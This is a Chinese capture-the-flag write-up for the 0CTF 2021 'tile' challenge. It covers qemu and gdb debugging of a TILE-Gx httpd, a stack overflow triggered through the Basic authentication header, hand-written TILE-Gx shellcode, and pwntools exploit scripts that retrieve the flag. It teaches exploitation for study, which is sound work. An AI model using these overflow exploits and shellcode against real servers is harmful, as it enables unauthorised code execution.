```c➜ ./tilegx-linux-gdb -q (gdb) target remote :1234Remote debugging using :1234warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0x0000004000839440 in ?? ()(gdb) i rr0 0x0 0r1 0x0 0r2 0x0 0r3 0x0 0r4 0x0 0r5 0x0 0r6 0x0 0r7 0x0 0r8 0x0 0r9 0x0 0r10 0x0 0r11 0x0 0r12 0x0 0r13 0x0 0r14 0x0 0r15 0x0 0r16 0x0 0r17 0x0 0r18 0x0 0r19 0x0 0r20 0x0 0r21 0x0 0r22 0x0 0r23 0x0 0r24 0x0 0r25 0x0 0r26 0x0 0r27 0x0 0r28 0x0 0r29 0x0 0r30 0x0 0r31 0x0 0r32 0x0 0r33 0x0 0r34 0x0 0r35 0x0 0r36 0x0 0r37 0x0 0r38 0x0 0r39 0x0 0r40 0x0 0r41 0x0 0r42 0x0 0r43 0x0 0r44 0x0 0r45 0x0 0r46 0x0 0r47 0x0 0r48 0x0 0r49 0x0 0r50 0x0 0r51 0x0 0r52 0x0 0tp 0x0 0sp 0x400080f530 274886358320lr 0x0 0sn 0x0 0idn0 0x0 0idn1 0x0 0udn0 0x0 0udn1 0x0 0udn2 0x0 0udn3 0x0 0zero 0x0 0pc 0x4000839440 0x4000839440faultnum 0x0 0```
不过断点功能没有实现，因为不太会改，后续可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。
## 调试
至此我们已经基本搞完了所有工具，可以开始调试了
### docker
虽然可以在本地调试，不过希望和远程环境尽力一直，所以还是应该在docker里完成最后的调试。所以把编译好的支持gdb的qemu扔到docker里去调试，这里我放到了`binary/qemu-tilegx-xuan`，然后按照如下方法修改dockerfile：
```patchdiff -uprN ./docker/Dockerfile ./docker_patch/Dockerfile--- ./docker/Dockerfile 2021-07-03 11:51:23.000000000 +0800+++ ./docker_patch/Dockerfile 2021-07-16 23:54:47.000000000 +0800@@ -24,9 +24,9 @@ RUN chmod u+s /readflag && \ COPY ./binary/ /home/ctf/ RUN chown -R root:ctf /home/ctf && \- chmod -R 750 /home/ctf+ chmod -R 750 /home/ctf && \+ chmod +X /home/ctf/qemu-tilegx-xuan -RUN chmod 750 /bin/sh RUN apt-get -y autoremove RUN apt-get clean && \@@ -36,4 +36,5 @@ RUN apt-get clean && \ CMD ["/start.sh"] +EXPOSE 1234 EXPOSE 9999Binary files ./docker/binary/qemu-tilegx-xuan and ./docker_patch/binary/qemu-tilegx-xuan differdiff -uprN ./docker/ctf.xinetd ./docker_patch/ctf.xinetd--- ./docker/ctf.xinetd 2021-07-03 11:50:39.000000000 +0800+++ ./docker_patch/ctf.xinetd 2021-07-04 15:02:41.000000000 +0800@@ -8,9 +8,9 @@ service ctf type = UNLISTED port = 9999 bind = 0.0.0.0- server = /usr/bin/qemu-tilegx+ server = /home/ctf/qemu-tilegx-xuan # replace helloworld to your program- server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html+ server_args = -g 1234 -L /home/ctf/ /home/ctf/httpd /home/ctf/html banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address```
按照如下方法打patch以及运行docker：
```c➜ lsDockerfile binary ctf.xinetd flag readflag start.sh➜ patch -p2 < ../docker.patchpatching file Dockerfilepatching file ctf.xinetdpatch unexpectedly ends in middle of lineHunk #1 succeeded at 8 with fuzz 1.➜ cp ../qemu/qemu-5.2.0/build/qemu-tilegx ./binary/qemu-tilegx-xuan➜ docker build -t tilegx:debug .➜ docker run -p 1234:1234 -p 9999:9999 -d tilegx:debug```
然后使用curl和qemu进行测试，这里我docker是我mac主机（10.11.11.1）起的，gdb是在ubuntu虚拟机里，curl请求应该先卡住：
```python➜ curl http://10.11.11.1:9999```
然后使用gdb挂上，可以看到入口位置了，然后c继续执行：
```python➜ ./tilegx-linux-gdb(gdb) target remote 10.11.11.1:9999Remote debugging using 10.11.11.1:9999Remote connection closed(gdb) target remote 10.11.11.1:1234Remote debugging using 10.11.11.1:1234warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0x0000004000839440 in ?? ()(gdb) cContinuing.[Inferior 1 (process 1) exited normally](gdb) ```
此时curl应该继续，基本调试环境成功：
```python➜ curl http://10.11.11.1:9999<html><head><title>401 Authorization Required</title></head><body><center><h1>401 Authorization Required</h1></center></body></html>```
另外在分析原来的dockerfile时有发现有一个非常坑的点（其实是在后面exp打不通的时候发现的：
```cRUN chmod 750 /bin/sh```
docker搭起来后，发现的确CTF用户没有权限执行/bin/sh，flag文件也是普通用户无法读取的:
```croot@6360a0d57b09:/# su ctfsu: failed to execute /bin/sh: Permission deniedroot@6360a0d57b09:/# ls -al /flag-r-------- 1 root root 16 Jul 3 11:50 /flag```
所以只能去执行根目录下的/readflag：
```croot@6360a0d57b09:/# /readflag[usage] /readflag fileroot@6360a0d57b09:/# /readflag /flagflag{fake_flag}```
所以我们最终的shellcode是：`execve("/readflag",["/readflag","/flag",0])`
### gdb
因为上面修改的qemu只实现了寄存器的查看，并没有实现单步调试等功能，这写功能应该在这里实现：
- [https://github.com/qemu/qemu/tree/v5.2.0/linux-user/tilegx](https://github.com/qemu/qemu/tree/v5.2.0/linux-user/tilegx)
无奈不会改，所以只能搞一些非法访存的指令在目标处，以下是一段`execve("/bin/sh")`的汇编，怎么写在后文有交代，这里先用他来测试gdb效果，我们在其系统调用`swint1`指令之前加上`ld r3, zero`：
```c.global _start .text_start: lnk r14base: addi r0, r14, (shell - base)
addi sp, sp, -16 st sp, r0 addi sp, sp, 8 st sp, zero addi r1, sp, -8
movei r2, 0 moveli r10, 221 ld r3, zero swint1shell: .ascii "/bin/sh"```
编译并执行：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ ./qemu-tilegx-xuan -g 1234 ./test```
使用gdb调试：
```➜ ./tilegx-linux-gdb -q /home/xuanxuan/.gdbinit:1: Error in sourced command file:/home/xuanxuan/Desktop/pwndbg/gdbinit.py:3: Error in sourced command file:Undefined command: "import". Try "help".(gdb) target remote :1234Remote debugging using :1234warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0x0000000000010078 in ?? ()(gdb) x /11i $pc=> 0x10078: { lnk r14 } 0x10080: { addi r0, r14, 80 } 0x10088: { addi sp, sp, -16 } 0x10090: { st sp, r0 } 0x10098: { addi sp, sp, 8 } 0x100a0: { st sp, zero } 0x100a8: { addi r1, sp, -8 } 0x100b0: { movei r2, 0 } 0x100b8: { moveli r10, 221 } 0x100c0: { ld r3, zero } 0x100c8: { swint1 }(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00000000000100c0 in ?? ()(gdb) x /1i $pc=> 0x100c0: { ld r3, zero }(gdb) i rr0 0x100d0 65744r1 0x400080f540 274886358336r2 0x0 0r3 0x0 0r4 0x0 0r5 0x0 0r6 0x0 0r7 0x0 0r8 0x0 0r9 0x0 0r10 0xdd 221r11 0x0 0r12 0x0 0(gdb) x /5s 0x100d00x100d0: "/bin/sh"0x100d8: ""0x100d9: ""0x100da: ""0x100db: ""(gdb) x /4gx 0x400080f5400x400080f540: 0x00000000000100d0 0x00000000000000000x400080f550: 0x0000000000000001 0x000000400080f760```
的确可以查看到执行系统调用前的内存和寄存器状态，所以这种调试能力已经基本满足做题的需求了。
### fuzz
老外是AFL，我是瞎发包发出来的，因为有basic认证，所以就在这里尝试了一些东西，正确的用户名密码可以直接对httpd这个二进制strings出来，最终尝试发送一堆正确的用户名密码成功触发控制流劫持（是不是栈溢出不知道，因为这个程序是有canary的）：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*20payload = base64.b64encode(payload)
http = b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
```c➜ python3 exp3.py [+] Opening connection to 127.0.0.1 on port 9999: Done[DEBUG] Sent 0x23e bytes: b'GET / HTTP/1.1\n' b'Authorization: Basic YWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAIw==\n' b'\n'```
```c➜ ./tilegx-linux-gdb(gdb) target remote 10.11.11.110.11.11.1: No such file or directory.(gdb) target remote 10.11.11.1:1234Remote debugging using 10.11.11.1:1234warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0x0000004000839440 in ?? ()(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x735f7030613a6e68 in ?? ()(gdb) ```
```python➜ python3>>> bytes.fromhex('735f7030613a6e68')b's_p0a:nh'```
可见溢出的返回地址还是base64编码之前的认证数据，完全可控。然后不断调试，最终控制流劫持的方法如下：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)payload = base64.b64encode(payload)
http = b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
## 利用
因为是qemu-user所以，各种地址全固定，并且没有NX，所以ret2shellcode一把梭，所以两个问题：
- 怎么将shellcode带进内存里- shellcode的地址在哪
我们发送过去的http报文肯定都在内存里，不过shellcode里可能会存在空字符，所以还是搞进base64编码后的认证数据中比较保险，如果采用这种方法，那么shellcode应该就是在base64解码后的内存中
### ret2shellcode
我们在劫持的地址之后加上一些特征串，然后继续调试：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)+b'xuanxuan'payload = base64.b64encode(payload)
http = b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
当发生控制流劫持时，我发现r11寄存器指向的地址处附近就是特征字符串`xuanxuan`的存储地址：
```c(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00000000deadbee8 in ?? ()(gdb) i rr0 0x0 0r1 0x1 1r2 0x4000862d00 274886700288r3 0x1 1r4 0x0 0r5 0x0 0r6 0x0 0r7 0x0 0r8 0xaaaaaaaaaaaaaae6 12297829382473034470r9 0xa3d3457593168 2882044780163432r10 0x400080f928 274886359336r11 0x1020788 16910216(gdb) x /20s 0x10207880x1020788: "bnh1YW4=\n"0x1020792: ""0x1020793: ""0x1020794: ""0x1020795: ""0x1020796: ""0x1020797: ""0x1020798: "q\370\002"0x102079c: ""0x102079d: ""0x102079e: ""0x102079f: ""0x10207a0: "admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#123",0x1020848: ""0x1020849: ""0x102084a: ""0x102084b: "xuanxuan"0x1020854: ""0x1020855: ""0x1020856: ""```
经测试`00`也是可以送进去的，所以我们将shellcode拼在后面，注意8字节（64bit）对齐，然后调试找一下shellcode的地址，然后ret2shellcode就完事了，所以接下来可以学习如何写shellcode了。
### 学习汇编
找不到写这个架构汇编的资料时，可以使用`objdump`的反编译功能，直接学习输出的汇编，这里可以使用`tilegx-linux-objdump`对libc.so和httpd进行反编译：
```c$ tilegx-linux-objdump -d ./lib/libc.so.6 > libc.asm$ tilegx-linux-objdump -d ./httpd > httpd.asm```
然后相面得到的结果：
> httpd.asm
``` 10016a8: 180fffe051483000 { movei r0, -1 } 10016b0: 200004d3d1483000 { jal 10063e8 <exit@plt> }```
> libc.asm
```c
00000000000eeb68 <_exit>: eeb68: 2863bec010000fc1 { moveli r1, 0 ; st sp, lr } eeb70: 283bf81bc01c0db6 { addi sp, sp, -64 ; move lr, r0 } eeb78: 180986ce40138d9d { addi r29, sp, 56 ; addi r28, sp, 48 } eeb80: c79906cd05d28d9b { addi r27, sp, 40 ; addi r26, sp, 32 ; st r29, r51 } eeb88: c797038e05ce075d { addi r29, r29, -32 ; addi r28, r28, -32 ; st r28, r50 } eeb90: 2863136010013ff3 { moveli r51, 19 ; st r27, r34 } eeb98: df0e400005ae06db { addi r27, r27, -32 ; st r26, r33 } eeba0: 286303a0711a8cf3 { shl16insli r51, r51, 4520 ; st r29, r32 } eeba8: 2862fb8070258040 { shl16insli r0, r1, 600 ; st r28, r31 } eebb0: def6701905b5efdf { movei r31, 94 ; lnk r50 ; st r27, r30 } eebb8: 180aefef500f2cf3 { add r51, r51, r50 ; movei r30, 93 } eebc0: 283bfbe5500c0cc0 { add r0, r51, r0 ; move r10, r31 } eebc8: 286ae80051483000 { ld r0, r0 } eebd0: 283bfee0500c0d60 { add r32, tp, r0 ; move r0, lr } eebd8: 286b180051485000 { swint1 }
00000000000eec48 <execve>: eec48: 0006efe5401f0db6 { addi sp, sp, -16 ; moveli r10, 221 } eec50: 180846ced1483000 { addi r29, sp, 8 } eec58: 28639ba010013ff3 { moveli r51, 19 ; st r29, r51 } eec60: 286396c0710f0cf3 { shl16insli r51, r51, 4336 ; st sp, r50 } eec68: 286af01951483000 { lnk r50 } eec70: 28079679d1483000 { add r51, r51, r50 } eec78: 286b180051485000 { swint1 } eec80: 181000005107f043 { move r3, r1 ; addxi r0, r0, 0 } eec88: 17c00061d1483000 { bnez r3, eeca0 <execve+0x58> } eec90: 9f96400007608d9d { addi r29, sp, 8 ; ld r50, sp } eec98: 9f9e66e005d10db6 { addi sp, sp, 16 ; jrp lr ; ld r51, r29 } eeca0: 180fffe010000fc1 { moveli r1, 0 ; movei r0, -1 } eeca8: 3812c020d1483000 { shl16insli r1, r1, 600 } eecb0: 28060e60d1483000 { add r1, r51, r1 } eecb8: 286ae820d1483000 { ld r1, r1 } eecc0: 28060ea0d1483000 { add r1, tp, r1 } eecc8: de1e4000301c3000 { st4 r1, r3 } eecd0: 27fffffc51483000 { j eec90 <execve+0x48> }```
基本能分析出：
- 函数调用以及系统调用传递参数的寄存器是：r0,r1,r2- 系统调用号使用r10寄存器进行传递- st和ld应该分别是存数和取数操作- movei可以讲立即数赋值给寄存器- swint1是系统调用指令- 系统调用号和arm64、riscv64的linux一致，execve为221，exit为93、94
学到这基本就能写shellcode了，系统调用号参考：
- [Linux System Call Table: arm64-64_bit](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#arm64-64_bit)
如果还想更细致的了解可以寻找指令手册，比较难找，也不太清晰：
- [tile-gx instruction set architecture](https://studylib.net/doc/18755547/tile-gx-instruction-set-architecture)
还可以找gdb、qemu等代码：
> qemu-5.2.0/target/tilegx/opcode_tilegx.h > qemu-5.2.0/target/tilegx/translate.c
不过这些都不太清晰，最清晰的是那个linux的IDA插件，看起来基本就是速查表：
- [https://github.com/Cisco-Talos/ida_tilegx/blob/master/ins.cpp](https://github.com/Cisco-Talos/ida_tilegx/blob/master/ins.cpp)
```c{"st", CF_USE1 | CF_USE2}, //Store{"st1", CF_USE1 | CF_USE2}, //Store byte{"st1_add", CF_USE1 | CF_USE2 | CF_USE3}, //Store byte and add{"st2", CF_USE1 | CF_USE2}, //Store two bytes{"st2_add", CF_USE1 | CF_USE2 | CF_USE3}, //Store two bytes and add{"st4", CF_USE1 | CF_USE2}, //Store four bytes```
这里我们来写一个`exit(3)`的程序：
```s.global _start .text_start: movei r0, 3 movei r10, 93 swint1```
使用网上下载的交叉编译工具编译，编译时使用`-nostdlib`，然后使用strace跟踪qemu运行：
```s➜ cat test.s .global _start .text_start: movei r0, 3 movei r10, 93 swint1➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ strace qemu-tilegx ./test 2>&1 | tail rt_sigaction(SIGRT_29, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_29, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0rt_sigaction(SIGRT_30, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_30, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0rt_sigaction(SIGRT_31, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_31, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0mprotect(0x56529b5d6000, 4096, PROT_NONE) = 0rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0exit_group(3) = ?+++ exited with 3 +++```
成功执行`exit(3)`
### shellcode
接下来写真正的shellcode
#### 比赛shellcode
> 比赛时写的shellcode比较垃圾
```s .global _start .text_start: movei r1,0 movei r2,0
movei r3,0x2f addi sp, sp, -16 st1 sp,r
movei r3,0x72 addi sp,sp,1 st1 sp,r3
movei r3,0x65 addi sp,sp,1 st1 sp,r3
movei r3,0x61 addi sp,sp,1 st1 sp,r3 movei r3,0x64 addi sp,sp,1 st1 sp,r3 movei r3,0x66 addi sp,sp,1 st1 sp,r3
movei r3,0x6c addi sp,sp,1 st1 sp,r3
movei r3,0x61 addi sp,sp,1 st1 sp,r3
movei r3,0x67 addi sp,sp,1 st1 sp,r3
movei r3,0x00 addi sp,sp,1 st1 sp,r3
addi sp,sp,-9 addi r0, sp, 0
moveli r10,221
addi sp, sp, -32 addi r1, sp, 0
st sp,r0 addi sp, sp, 8 addi r7, sp, 16 st sp,r7
addi sp, sp, 8 st sp,r2 addi sp, sp, 8 movei r3,0x2f st1 sp,r3 addi sp,sp,1
movei r3,0x66 st1 sp,r3 addi sp,sp,1
movei r3,0x6c st1 sp,r3 addi sp,sp,1
movei r3,0x61 st1 sp,r3 addi sp,sp,1
movei r3,0x67 st1 sp,r3 addi sp,sp,1
movei r3,0x00 st1 sp,r3 addi sp,sp,1
# ld r2,r2 swint1```
比赛时使用的centos上yum安装的交叉编译工具，然后是分步编译的：
```python[root@VM-8-11-centos ~]$ tile-linux-gnu-gcc shellcode.s -c [root@VM-8-11-centos ~]$ tile-linux-gnu-ld shellcode.o -o shellcode[root@VM-8-11-centos ~]$ tile-linux-gnu-objcopy -O binary --only-section=.text shellcode shellcode.text```
#### 赛后shellcode
也能看出上面的shellcode的主要问题就是把"/readflag"，"/flag"这种串扔进内存里，并且获得他们的地址，之前看arm的shellcode，可以这么写：
> [armv5l 稳定 shellcode：shell reverse tcp (Null free)](https://xuanxuanblingbling.github.io/ctf/pwn/2021/06/17/arm/)
```c/* Execute shell */
adr r0, spawn eor r2, r2, r2 strb r2, [r0, #7] push {r0, r2} mov r1, sp mov r7, #11 svc #1
/* adjust address */ eor r7, r7, r7
spawn: .ascii "/bin/shA"```
但是我类似这么尝试，先打印一个helloworld，失败了：
```c.global _start .text_start: movei r0, 1 movei r1, hello movei r2, 12 movei r10, 64 swint1hello: .ascii "hello world"```
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib/tmp/ccSLVUUj.o: In function `_start':(.text+0x8): relocation truncated to fit: R_TILEGX_IMM8_X1 against `.text'collect2: error: ld returned 1 exit status```
于是比赛时就放弃了这种方法转而使用，以上的方法，赛后参考老外的exp:[v02-pwnit.py](https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/v02-pwnit.py)，发现原来这里和arm不一样，需要的是一个绝对地址。所以按照这个方法继续helloworld：
```c.global _start .text_start: lnk r14base: movei r0, 1 addi r1, r14, (hello-base) movei r2, 12 movei r10, 64 swint1hello: .ascii "hello world"```
然后执行，发现成功打印helloworld，不过因为后面没有退出代码，所以会死无全尸：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ qemu-tilegx ./test hello world[1] 563786 segmentation fault (core dumped) qemu-tilegx ./test\```
现在可以写一个`execve("/bin/sh",0,0)`的：
```c.global _start .text_start: lnk r14base: addi r0, r14, (shell - base) movei r1,0 movei r2,0 moveli r10, 221 swint1shell: .ascii "/bin/sh"```
成功：
```c ➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ qemu-tilegx ./test $ lsgcc-7.3.0-nolibc test test.s$ ```
再写一个`execve("/bin/sh",["/bin/sh",0],0)`的：
```c.global _start .text_start: lnk r14base: addi r0, r14, (shell - base)
addi sp, sp, -16 st sp, r0 addi sp, sp, 8 st sp, zero addi r1, sp, -8
movei r2,0 moveli r10, 221 swint1shell: .ascii "/bin/sh"```
继续成功：
```c ➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ qemu-tilegx ./test $ lsgcc-7.3.0-nolibc test test.s$ ```
写最后的`execve("/readflag",["/readflag","/flag",0],0)`的，其中的`.asciz`伪指令会在字符串后面自动加空字符：
```c.global _start .text_start: lnk r14base: addi r0, r14, (readflag - base) addi r1, r14, (flag - base) addi sp, sp, -32 st sp, r0 addi sp, sp, 8 st sp, r1 addi sp, sp, 8 st sp, zero addi r1, sp, -16
movei r2,0 moveli r10, 221 swint1readflag: .asciz "/readflag"flag: .asciz "/flag"```
继续成功：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ qemu-tilegx ./test flag{this_is}```
然后将shellcode提取出来：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-objcopy -O binary --only-section=.text test shellcode.text```
不过从这里的shellcode也能看出来，如果想让tilegx的shellcode想不包含00，不加个壳应该是做不到的：
```c286b180051485000 { swint1 } ```
### exp
比赛exp：
```pythonfrom pwn import *import base64context(log_level='debug')shellcode = b"\x00\x30\x48\xd1\xe0\x07\x08\x18\x00\x30\x48\x51\xe1\x07\x08\x18\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x48\x51\xdb\x86\x0f\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x97\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\xd1\xe1\x2f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x27\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x37\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x07\x08\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\x51\xdb\xbe\x0f\x18\x00\x30\x48\x51\xc0\x06\x08\x18\x00\x30\x48\x51\xe5\xef\x06\x00\x00\x30\x48\x51\xdb\x06\x0f\x18"shellcode += b"\x00\x30\x48\xd1\xc0\x06\x08\x18\x00\x30\x6c\x37\x00\x40\x06\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x48\xd1\xc3\x86\x08\x18"shellcode += b"\x00\x30\x6c\x37\x00\x40\x3e\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x6c\x37\x00\x40\x16\xde\x00\x30\x48\x51\xdb\x46\x08\x18"shellcode += b"\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x37\x0b\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x0f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x07\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x50\x48\x51\x00\x18\x6b\x28"
payload = b'admin:a0p_s3cr37_!@#'*7+b'admin:70p_s3cr37_!@#'+b'123'+p64(0x10211e8)+b'\x00xuanxua\x00yuanyuaaaaaa'+b'a'*8+shellcodepayload = base64.b64encode(payload)
http = b"GET / HTTP/1.1\n"http += b"Host: 111.186.59.27:28088\n"http += b"Cache-Control: max-age=0\n"http += b"Authorization: Basic "+payload+b'\n';http += b"Upgrade-Insecure-Requests: 1\n"http += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n"http += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n"http += b"Accept-Encoding: gzip, deflate\n"http += b"Accept-Language: zh-CN,zh;q=0.9\n"http += b"Connection: close\n\n"io = remote("111.186.59.27",28088)io.send(http)io.interactive()```
赛后shellcode精简版exp：
```pythonfrom pwn import *import base64context(log_level='debug')
shellcode = b'\x00\x30\x48\x51\x07\xF0\x6A\x28\x00\x30\x48\x51\xC0\x01\x0B\x18'shellcode += b'\x00\x30\x48\xD1\xC0\x51\x0B\x18\x00\x30\x48\x51\xDB\x06\x0F\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\x06\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\x0E\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\xFE\xDF\x00\x30\x48\xD1\xC0\x86\x0F\x18'shellcode += b'\x00\x30\x48\x51\xE1\x07\x08\x18\x00\x30\x48\x51\xE5\xEF\x06\x00'shellcode += b'\x00\x50\x48\x51\x00\x18\x6B\x28\x2F\x72\x65\x61\x64\x66\x6C\x61'shellcode += b'\x67\x00\x2F\x66\x6C\x61\x67\x00'
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0x1020990)+b'aaaaa'+shellcodepayload = base64.b64encode(payload)
http = b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
```python➜ python3 exp.py[+] Opening connection to 111.186.59.27 on port 28088: Done[*] Switching to interactive modeflag{rop_on_t1111111le-gx_is_funny_27b7d3}
[*] Got EOF while reading in interactive```
从flag含义可见，出题人希望我们用ROP来解，不过因为qemu特性，shellcode最好使。
## 总结
本次前期的调试准备工作做得还算不错，也证明了对于漏洞比较简单的题目来说：**运行 > 调试 > 编译 > 逆向**。
- 首先得能运行- 其次是可调试- 然后可以编译shellcode- 要不要逆向看题目难度了
还有就是也证明了挖洞和逆向的确是我自己的薄弱点，AFL我也不会用。有缘遇到再学吧。另外仍然是小米那篇里的感受：写文章的思路虽然是顺着的，但是比赛是的却是东一榔头西一棒子，一会编一下qemu，一会编一下gdb的。不过也是在各种各样的尝试中有所突破，找到了可以继续往下走的路。不过策略肯定是**首先解决调试问题**，再说其他的。再次梳理做题过程如下：
1. 首先编译了这个架构的gdb客户端，然后qemu没有实现这个架构的gdb桩，照着其他架构糊了一个类似能读写内存和寄存器的调试，断点功能没有实现，不过可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。
